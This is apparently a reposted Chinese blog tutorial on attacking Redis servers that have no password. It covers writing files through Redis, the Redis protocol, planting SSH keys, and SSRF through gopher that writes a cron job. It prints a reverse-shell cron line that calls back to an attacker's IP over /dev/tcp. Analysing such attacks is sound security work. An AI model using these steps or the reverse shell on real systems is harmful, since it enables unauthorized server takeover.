Redis无密码访问漏洞攻击套路分析

0、一个预告

  距上次更新公众号已经好久了,大部分空闲时间,都用在写一个跨平台的网(hei)站(ke)管(hei)理(zhan)工具——大方,可以认为是一个纯Python版的菜刀,除了基本的文件管理、数据库管理、虚拟终端外,增加了Http头定制、Cookie定制、自动内网代理功能,目前大体框架已基本完成,不久将以完全开源的形式公布,先来几张kali系统中运行效果图。

#华丽的分割线#一、Redis基础知识1、Redis无密码访问

3行

  以上是Redis中文官网中对Redis安全性的介绍,可以看出如果管理员没有设置Redis访问密码,且绑定地址为0.0.0.0的话,那Redis将完全裸奔在公网或者内网,也就为本文介绍的两种攻击套路提供了可行性,注意无密码访问是下面两种攻击套路的前提!

2、利用Redis写文件

  Redis中的数据默认存在内存中,可以通过Save命令将数据写入外存,数据保存的地址为配置文件中dir+dbfilename,如下图文件将保存在/home/hancool/dump.rdb文件中。

  通过更改Redis的配置信息,如果权限允许,则可以通过Redis在任意位置写入任意文件,如下图可以在/root目录下写入test.txt文件。

3、Redis标准通信协议分析

  Redis在TCP端口6379上监听到来的连接,客户端连接到来时,Redis服务器为此创建一个TCP连接。在客户端与服务器端之间传输的每个Redis命令或者数据都以\r\n结尾。

Redis接收由不同参数组成的命令。一旦收到命令,将会立刻被处理,并回复给客户端。新的统一协议已在Redis 1.2中引入,但是在Redis 2.0中,这就成为了与Redis服务器通讯的标准方式。

  在这个统一协议里,发送给Redis服务端的所有参数都是二进制安全的。以下是通用形式:

7行

例子如下:

8行

客户端连接到Redis服务器后发送,如下字符串

*3\r\n$3\r\nSET\r\n$5\r\nmykey\r\n$7\r\nmyvalue\r\n

等同于执行命令

redis-cli set mykey myvalue

二、Redis无密码访问攻击套路

1、密钥写入+SSH无密码登录

  首先,在本地主机生成RSA密钥对

  将公钥信息(id_rsa.pub)利用Redis写文件机制,写入远程主机特定目录(/root/.ssh/authorized_keys)。

  使用本地私钥(id_rsa)登录远程主机,因为本地公钥已经上传至远程主机,远程主机通过公钥信息验证本地主机登录签名,即可完成认证,无需再输入密码。

2、SSRF+Gopher+反弹Shell

  对于外网无法访问的Redis服务器,可以通过ssrf漏洞进行攻击,因为无法通过外网直接访问,所以通过SSH远程连接的攻击思路不再可行,可以通过反弹Shell的方式获取远程主机的访问权限。

  假设http://remote.com/test?url=testvalue的url参数存在ssrf漏洞,构造gopher攻击payload为:

2行

  向远程主机发送包含上述payload的url请求(http://remote.com/test?url=gopher...),因为远程主机存在ssrf漏洞,所以远程主机收到上述url请求后,会执行gopher协议,根据127.0.0.1:6379这个地址,将与Redis服务器的6379端口建立连接,发送如下数据:

2行

  为便于阅读,将\r\n写为回车换行,如下:

31行

  通过上文对Redis通信协议的分析,可知上述字符串发送到Redis服务器后,等同于执行如下命令:

  上述命令的执行将会在/var/spool/cron/root中写入定时任务,定时任务的内容如下:

*/1 * * * * bash -i >& /dev/tcp/192.168.107.237/3333 0>&1

  结果是,将会每分钟将本地Shell远程反弹到本地主机192.168.107.237的3333端口,我们在本地主机使用nc工具进行监听,即可获取远程服务器的操作权限,如下:

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180506G04GSZ00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码关注腾讯云开发者

领取腾讯云代金券